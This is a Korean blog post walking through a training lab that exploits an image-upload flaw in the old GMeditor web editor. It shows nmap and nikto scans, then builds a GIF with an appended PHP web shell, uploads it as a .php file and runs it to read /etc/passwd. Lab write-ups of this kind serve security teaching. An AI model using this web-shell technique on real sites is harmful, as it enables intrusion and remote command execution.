홈페이지 취약점 분석 이야기 | 파일 지도 사진 깨알 |
---|
>> 목록보이기 WH-WebEditor-GM 웹해킹훈련장 라이브 ISO: 웹에디터 gmeditor의 이미지 검증 취약점 실습문제HTML 편집은 상당히 고된 작업이다. 이 때문에 많은 누리집에서 WYSIWYG(What You See Is What You GET) 방식의 HTML 편집기를 많이 제공한다. 누리집에서 사용하는 HTML 편집기는 주로 자바스크립트를 기반으로 구현된다. 웹에서 사용하는 HTML 편집기라고 하여 웹 에디터(Web Editor)라고 한다. 현재 다수의 공개용 웹 에디터들이 존재하고 있다. 세계적으로는 CKeditor가 많이 사용되고 있고 국내에서는 네이버의 스마트에디터(SmartEditor), 다음의 다음에디터(DaumEditor) 등이 자주 눈에 띈다. 상용 웹에디터로는 나모 크로스에디터(CrossEditor), CHeditor 등이 있다. FCKeditor, SmartEditor 등에서 취약점이 발견되기는 했으나 대부분 취약점이 조치되었다. 이러한 과정을 거치면서 최신 웹 에디터 배포본, 특히 공개용 웹 에디터에서는 이제 취약점을 찾기 어렵다. 다만 배포본은 대개의 경우 PHP인데, 이를 ASP나 JSP로 변환하는 과정에서 개발자들이 보안 관련부분을 간과하여 취약점이 발생하는 경우들이 종종 발견고는 한다. 웹 에디터는 HTML을 모르고도 HTML을 작성할 수 있게 해주기 때문에 편리하다. 보안상 문제가 되는 부분은 웹에디터가 제공하는 이미지 업로드 기능인 경우가 많다. 이 훈련장에서 만나게 될 지엠에디터(GMeditor)는 2000년대 초중반에 배포된 웹 에디터이다. 아직도 다수의 홈페이지에서 사용되고 있다. 대부분의 웹 에디터는 취약점이 존재하지 않으나 GMeditor는 이미지 업로드 기능에 취약점이 존재한다. WH-WebEditor-GM 훈련장 구동
위의 ISO 파일을 내려받아서 적당한 위치에 저장한다.
VMware Workstation Player를 이용하여 부팅한다. 메모리는 512MB 이상으로 한다.
부팅이 끝나면
위 그림은 파이어폭스로 WH-WebEditor-GM 훈련장에 접속한 화면이다.
표면상으로는 HTML 페이지 하나만 관찰할 수 있다.
다른 기능은 전혀 존재하지 않는 것처럼 보인다.
Nmap 포트 탐지root@kali:~# nmap -A 192.168.189.238 Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-23 11:20 KST Nmap scan report for 192.168.189.238 Host is up (0.00050s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.16 ((Unix) OpenSSL/1.0.2j PHP/5.5.13) |_http-server-header: Apache/2.4.16 (Unix) OpenSSL/1.0.2j PHP/5.5.13 |_http-title: WH-WebEditor-GM \xEC\x9B\xB9\xED\x95\xB4\xED\x82\xB9\xED\x9B\x88\xEB\xA0\xA8\xEC\x9E\xA5 MAC Address: 00:0C:29:E3:3F:16 (VMware) Device type: general purpose Running: Linux 2.6.X|3.X OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 OS details: Linux 2.6.32 - 3.10 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.50 ms 192.168.189.238 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.77 seconds root@kali:~#
Nikto 웹서비스 환경 탐색root@kali:~# nikto -host 192.168.189.238 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.189.238 + Target Hostname: 192.168.189.238 + Target Port: 80 + Start Time: 2017-01-23 11:22:32 (GMT9) --------------------------------------------------------------------------- + Server: Apache/2.4.16 (Unix) OpenSSL/1.0.2j PHP/5.5.13 + The anti-clickjacking X-Frame-Options header is not present. + No CGI Directories found (use '-C all' to force check all possible dirs) + PHP/5.5.13 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current. + Web Server returns a valid response with junk HTTP methods, this may cause false positives. + 7535 requests: 0 error(s) and 3 item(s) reported on remote host + End Time: 2017-01-23 11:22:43 (GMT9) (11 seconds) --------------------------------------------------------------------------- + 1 host(s) tested root@kali:~#
Nikto 스캔 결과에서는 OWASP-ZAP 웹 애플리케이션 취약점 탐색
OWASP-ZAP의 취약점 탐색 결과에서는
수동 점검WH-WebEditor-GM 누리집에서 직접적으로 노출되는 URL은 다음과 같다.
이미지 저장 경로를 직접 접속해보자.
FireFox를 이용하면 된다.
여기서는 root@kali:~# curl -I http://192.168.189.238/gmeditor/ HTTP/1.1 403 Forbidden Date: Mon, 23 Jan 2017 02:26:22 GMT Server: Apache/2.4.16 (Unix) OpenSSL/1.0.2j PHP/5.5.13 X-XSS-Protection: 1 X-Content-Type-Options: nosniff Content-Type: text/html; charset=iso-8859-1 root@kali:~#
구글 웹검색엔진에서
"
구글에서
GMeditor가 설치된 경로의 내용을 볼 수 있다.
웹에디터는 대개 예제를 제공한다.
위에서는
GMeditor의
이다.
먼저 미디어 올리기 기능(
위의 그림은
이제 이미지 등록 기능(
위의 그림은
진짜 이미지 파일인
<a style="cursor:hand;cursor:pointer;" onclick="window.open('./img_view.php?name=.%2Fuploaded%2Fimg%2F1485139347.php&w=113&h=173','_editor_tb','staus=no, width=113, height=173,scrollbars=no,toolbar=no,menubar=no')"><img src="./uploaded/img/1485139347.php" vspace="5" border="0" hspace="5"></a>
위는 FireFox에서 "
지금까지의 관찰로부터
아주 작은 이미지를 만들어보자.
GMeditor는 실제 이미지만을 등록하므로 가장 작은 크기의 이미지를 만들 것이다.
명령행(command line)에서 이미지를 처리할 수 있는 강력한 이미지 처리 도구인
root@kali:~# apt-get install imagemagick 패키지 목록을 읽는 중입니다... 완료 의존성 트리를 만드는 중입니다 상태 정보를 읽는 중입니다... 완료 imagemagick is already the newest version (8:6.9.6.6+dfsg-1). 0개 업그레이드, 0개 새로 설치, 0개 제거 및 1개 업그레이드 안 함. root@kali:~# ls -als kth.jpg 16 -rwxr-xr-x 1 root root 12405 1월 23 13:01 kth.jpg* root@kali:~# identify kth.jpg kth.jpg JPEG 113x173 113x173+0+0 8-bit sRGB 12.4KB 0.000u 0:00.000 root@kali:~# convert -resize 1x1 kth.jpg kth1.gif root@kali:~# identify kth1.gif kth1.gif GIF 1x1 1x1+0+0 8-bit sRGB 2c 43B 0.000u 0:00.000 root@kali:~#
칼리 리눅스에서는 43바이트 짜리 GIF 이미지에 PHP 코드를 덧붙여 보자. root@kali:~# echo >> kth1.gif root@kali:~# echo "<PRE><?PHP system(\$_GET['cmd']); ?>" >> kth1.gif root@kali:~# cat kth1.gif GIF89a��zy!�,D; <PRE><?PHP system($_GET['cmd']); ?> root@kali:~# cp kth1.gif kth1.php root@kali:~# identify kth1.php kth1.php GIF 1x1 1x1+0+0 8-bit sRGB 2c 80B 0.000u 0:00.000 root@kali:~# 위의 과정은 다음과 같다.
위의 과정을 거친 파일(
이제 WH-WebEditor-GM 훈련장의 gmeditor 데모 페이지에서 이미지 올리기 기능을 이용하여
위 그림은 파이어폭스에서
위와 같이 root@kali:~# curl http://192.168.189.238/gmeditor/uploaded/img/1485158286.php?cmd=cat+/etc/passwd 2> /dev/null | grep -a "<PRE>" -A 1000 <PRE>root:x:0:0:Root Administrator:/root:/bin/sh nobody:x:99:99:Unprivileged User:/dev/null:/bin/false www:x:80:80:Web Server User:/var/www:/bin/false tux:x:1000:1000:Linux User,,,:/home/tux:/bin/sh root@kali:~# 마무리
GMeditor의 또 하나의 문제점은 거의 대부분의 웹에디터가 PHP 코드만을 제공한다는 점이다. ASP나 JSP에 비해 PHP 점유율이 80%를 넘어선다는 것을 생각하면 당연한 결과이다. 이 점이 문제가 되는 것은 ASP와 JSP 개발자들이 PHP 코드를 변환하는 과정에서 - 대개 뭔 기능인지 몰라서 - 기능과는 상관없어 보이는 보안 관련 부분을 삭제해 버린다는 것이다. 웹 에디터 배포판은 기본적으로 보안상 안전하지만, 웹취약점분석을 하다보면 ASP나 JSP에서는 취약점이 되살아나는 경우를 상당수 만나게 된다. [처음 작성한 날: 2017.01.23] [마지막으로 고친 날: 2017.01.24] < 이전 글 : 오늘의 웹서버 공격 로그: MySQL 관리 인터페이스 자동탐색 도구 - Jorgee Scanner (2017.01.25) > 다음 글 : 오늘의 웹서버 공격 로그: Apache ProxyAbuse 탐지 시도 (2017.01.22) 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다. 잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다. 문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문 |